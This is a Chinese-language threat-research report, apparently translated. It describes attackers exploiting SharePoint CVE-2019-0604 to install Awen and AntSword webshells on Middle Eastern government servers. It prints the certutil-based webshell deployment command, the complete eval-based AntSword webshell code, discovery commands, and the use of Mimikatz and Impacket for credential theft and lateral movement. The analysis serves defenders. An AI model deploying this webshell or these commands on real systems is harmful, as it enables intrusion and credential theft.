2019年9月10日,研究人员发现有未知攻击者利用了SharePoint中的安全漏洞(CVE-2019-0604)来安装不同的webshell到中东政府组织的网站上。这些webshell中有一个是开源的AntSword webshell。
CVE-2019-0604漏洞利用
2019年9月10日,研究人员发现了一个请求以下URL的HTTP POST请求,研究人员认为这是SharePoint服务器(CVE-2019-0604)的漏洞利用:
/_layouts/15/picker.aspx
研究人员并没有访问HTTP POST请求中发送的数据,但研究人员发现了SharePoint服务器执行的命令:
C:\Windows\System32\cmd.exe /c echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBEZWJ1Zz0idHJ1ZSIgVHJhY2U9ImZhbHNlIiAlPg[..snip..] > c:\programdata\cmd.txt & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\c.aspx
上面的命令使用echo 命令来将大量base64编码的数据 (T1132) 写入一个名为cmd.txt的文本文件。然后,命令会使用certutil有用来将cmd.txt中base64编码的数据转化成3个不同的SharePoint相关的文件夹中的c.aspx。整个命令的结果会将Awen asp.net webshell (T1100)的表中保存到SharePoint服务器以进一步与被黑的服务器进行交互。该SharePoint漏洞利用中有用的Awen webshell的SHA256哈希值为5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21。
Awen Webshell
可疑的CVE-2019-0604漏洞利用40秒后,研究人员在c.aspx中发现了第一个到webshell的HTTP GET请求,这是awen asp.net webshell的一个修改版本。研究人员认为该HTTP GET请求是在漏洞利用后和命令执行前访问webshell的。图1是Awen webshell,Awen除了设定到命令弹窗应用的路径和运行命令外没有其他功能。
图 1 利用CVE-2019-0604安装的Awen webshell
攻击者使用图1中安装的Awen webshell来运行不同的命令来在系统和网络上进行初步搜索,包括用户账户(T1033、T1087),文件和文件夹(T1083),特权组(T1069),远程系统(T1018)和网络配置(T1016)。
表 1是用于发现的命令和使用echo命令来写base64编码的数据到a.txt和使用certutil应用来解码和保存到bitreeview.aspx的部署webshell的命令。
表 1利用CVE-2019-0604来安装的Awen webshell
名为bitreeview.aspx的webshell会保存到SharePoint服务器install路径的文件夹中。bitreeview.aspx文件是AntSword webshell的变种。在安装了AntSword webshell后,攻击者就不再使用Awen webshell了,会在发出Awen webshell最后一个命令35秒后发布第一个命令给AntSword。
AntSword Webshell
AntSword是一个模块化的webshell,其中含有一个简单的webshell,攻击者会用来部署到被黑的服务器并安装一个客户端应用作为AntSword Shell管理器。客户端应用的使用与其他与浏览器窗口进行交互的webshell有所不同。攻击者使用AntSword Shell管理器来与被黑的服务器上的AntSword webshell进行交互,Shell管理器会发送适当的脚本给执行特定动作的webshell。为了在webshell本身提供有限功能的感觉,攻击中部署的bitreeview.aspx AntSword webshell只有162字节,其中含有以下内容:
%@ Page Language="Jscript"% % eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert. FromBase64String(Request.Item["Darr1R1ng"])),"unsafe"); %
从以上代码中可以看出,AntSword webshell除了运行AntSword Shell管理器提供的脚本外,没有其他功能。上述代码表明攻击者在AntSword Shell管理器中创建了定制的encoder来与上述代码交互。
攻击者使用AntSword webshell来在被黑的服务器上运行不同的命令。下面是用来尝试进行系统发现和用户发现的命令列表:
whoami query user nltest /domain_Trusts ping -n 1 ipconfig /all net group /do net group Exchange Servers /do ing -n 1 ping -n 1 query user
使用ping表明攻击者尝试获取exchange服务器的访问权限。Ping尝试还表明攻击者在第一次尝试中拼错了命令。图2是AntSword Shell管理器中的终端接口。
图 2 AntSword Shell管理器中与webshell进行交互的终端
研究人员认为攻击者使用AntSword webshell来上传工具到服务器,包括curl、定制的Mimikatz变种,编译的Impacket的wmiexec和atexec工具。AntSword还有一个FileManager接口,提供与Windows explorer类似的导航功能,允许攻击者在被黑的服务器上上传和下载文件。图3表明FileManager接口与AntSword Shell管理器应用交互。
图 3 AntSword Shell Manager中使用webshell的FileManager接口
攻击者使用这些上传的工具来向webshell发布命令。比如,cURL工具用于命令
curl.exe ipinfo.io —max–time 5来确定服务器是否有到互联网的出访问权限,并可以从被黑的服务器上获取外部IP地址。攻击者使用net use命令、Mimikatz和Impacket工具进行下一步活动。其中,Mimikatz用于从内存中复制凭证,Impacket工具用来传递哈希技术来在其他系统上运行命令。
Actor AntSword Encoder
为了使用安装在SharePoint服务器的AntSword webshell,攻击者要在AntSword中创建一个定制的编码模块。研究人员知道AntSword Shell管理器中的默认编码器无法成功与bitreeview.aspx webshell 进行交互。研究人员发现默认的base64编码器无法对Darr1R1ng域中的数据进行base64编码,而是会将它以明文形式发送,如图4中的HTTP POST请求所示。当尝试用默认的base64编码器与安装的bitreeview.aspx webshell进行交互时,服务器会响应一个HTTP 500 错误消息,因为Darr1R1ng域中含有不在base64范围内的字符。
图 4 AntSword Shell Manager用默认base64编码器发给webshell的HTTP POST请求
因此,攻击者必须在AntSword Shell Manager中创建一个定制的编码模块,以使得编码的Darr1R1ng域能够与bitreeview.aspx webshell进行交互。AntSword Shell Manager包含一个创建定制的编码模块的接口,具体步骤参见原文。
结论
从CVE-2019-0604漏洞发现至今,已经快1年了,仍然有攻击者在利用该漏洞来入侵SharePoint服务器。研究人员发现攻击者在安装了webshell到SharePoint后。研究人员还在该组织的工具重用中发现了相关的webshell。由于工具重用,研究人员发现该组织上传了一个凭证复制工具——Dumpert,该工具在之前的漏洞利用活动中没有发现过。
还没有评论,来说两句吧...